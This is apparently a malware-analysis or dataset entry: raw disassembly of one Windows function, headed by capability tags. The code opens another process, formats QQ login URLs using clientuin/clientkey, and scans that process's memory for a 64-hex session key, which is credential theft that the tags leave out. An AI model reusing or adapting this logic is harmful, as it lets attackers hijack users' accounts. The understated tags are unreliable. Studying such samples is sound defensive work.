Function at 0x402ca0
Capabilities:
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c4
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xd5]
mov byte [esp + 0xd4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x2d8]
push eax
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [esp + 0x2dc]
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea ecx, [esp + 0x1d8]
push str.http:__ptlogin2.qq.com_jump_ptlang2052clientuin_sclientkey
push ecx
mov dword [esp + 0x20], eax
call ebp
add esp, 0xc
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x91]
xor edx, edx
mov byte [esp + 0x90], bl
rep stosd dword es:[edi], eax
mov dword [esp + 0x3d], edx
push esi
lea eax, [esp + 0x1d8]
mov dword [esp + 0x45], edx
push str.u1http__3A__2F__2Fuser.qzone.qq.com__2F_s__2FinfocenterADUIN_sADSESSION
push eax
mov dword [esp + 0x38], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x48], bl
mov word [esp + 0x51], dx
mov dword [esp + 0x2c], ebx
call ebp
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x7c]
mov dword [esp + 0x78], ebx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
add esp, 0xc
xor esi, esi
xor ebp, ebp
cmp eax, ebx
mov dword [esp + 0x38], ebx
jne 0x402d78
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2c4
ret
lea ecx, [esp + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edi, [esp + 0x1d4]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x74]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
lea edi, [esp + 0xd4]
lea edx, [ecx + 0x40]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, edx
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x50]
push 0x1c
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x60]
cmp eax, 0x1000
jne 0x402fd2
cmp dword [esp + 0x64], 4
jne 0x402fd2
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x2c]
cmp eax, ecx
mov edi, eax
jle 0x402e24
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x402e0c
push eax
call fcn.004033c5
add esp, 4
lea eax, [edi + 1]
push eax
call fcn.004033d0
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x60]
add esp, 4
mov dword [esp + 0x2c], edi
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x38]
cmp edx, ecx
je 0x402e34
xor esi, esi
xor ebp, ebp
lea edx, [eax + ecx]
mov dword [esp + 0x30], ebx
mov dword [esp + 0x38], edx
lea edx, [esp + 0x30]
push edx
push eax
mov eax, dword [esp + 0x18]
push eax
push ecx
mov ecx, dword [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [esp + 0x30]
cmp eax, ebx
mov dword [esp + 0x4c], ecx
je 0x402fce
cmp ecx, ebx
je 0x402fce
xor eax, eax
cmp ecx, ebx
mov dword [esp + 0x34], eax
jle 0x402fd2
mov cl, byte [esp + 0x1d4]
mov edx, dword [esp + 0x10]
mov al, byte [eax + edx]
cmp al, 0x20
jl 0x402fb3
cmp al, 0x7f
jg 0x402fb3
cmp ebp, 3
ja case.default.0x402ea3
jmp dword [ebp*4 + 0x4030ac]
cmp al, byte [esp + esi + 0x1d4]
jne 0x402eca
mov eax, dword [esp + 0x1c]
inc esi
cmp esi, eax
jl case.default.0x402ea3
mov ebp, 1
jmp case.default.0x402ea3
xor esi, esi
xor ebp, ebp
cmp al, cl
jne case.default.0x402ea3
mov esi, 1
jmp case.default.0x402ea3
cmp al, 0x30
jl 0x402ee8
cmp al, 0x39
jle 0x402ef0
cmp al, 0x41
jl 0x402eca
cmp al, 0x46
jg 0x402eca
mov edx, dword [esp + 0x1c]
mov edi, esi
sub edi, edx
inc esi
mov byte [esp + edi + 0x90], al
lea eax, [edx + 0x40]
cmp esi, eax
jl case.default.0x402ea3
mov ebp, 2
jmp case.default.0x402ea3
mov edx, dword [esp + 0x1c]
mov edi, esi
add edx, 0x40
sub edi, edx
cmp al, byte [esp + edi + 0xd4]
jne 0x402eca
mov eax, dword [esp + 0x28]
inc esi
cmp esi, eax
jl case.default.0x402ea3
mov ebp, 3
jmp case.default.0x402ea3
cmp al, 0x30
jl 0x402eca
cmp al, 0x39
jg 0x402eca
mov edx, dword [esp + 0x28]
mov edi, esi
sub edi, edx
inc esi
mov byte [esp + edi + 0x3c], al
lea eax, [edx + 0xa]
cmp esi, eax
jl case.default.0x402ea3
lea eax, [esp + 0x3c]
push eax
call fcn.004033ba
mov ecx, dword [esp + 0x24]
add esp, 4
cmp eax, ecx
jbe 0x402f9d
mov dword [esp + 0x20], eax
lea edi, [esp + 0x90]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xd4]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x24]
mov cl, byte [esp + 0x1d4]
inc eax
xor esi, esi
mov dword [esp + 0x24], eax
xor ebp, ebp
jmp case.default.0x402ea3
xor esi, esi
xor ebp, ebp
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x4c]
inc eax
cmp eax, edx
mov dword [esp + 0x34], eax
jl 0x402e83
jmp 0x402fd2
xor esi, esi
xor ebp, ebp
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x48]
add edx, ecx
cmp eax, ebx
mov dword [esp + 0x18], edx
jne 0x402db8
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x402ffd
push eax
call fcn.004033c5
add esp, 4
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esp + 0xd4]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403063
cmp dword [esp + 0x2e0], ebx
je 0x403063
push ebx
call fcn.0040359b
mov edx, dword [esp + 0x24]
add esp, 4
sub eax, edx
cmp eax, 0x2710
jle 0x403063
mov edi, 0x40dd3c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xd4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x2e4]
cmp edi, ebx
je 0x403092
mov esi, dword [esp + 0x2e8]
cmp esi, ebx
je 0x403092
lea ecx, [esi - 1]
lea edx, [esp + 0xd4]
push ecx
push edx
push edi
call fcn.00403460
add esp, 0xc
mov byte [edi + esi - 1], bl
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
pop edi
dec ecx
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x2c4
ret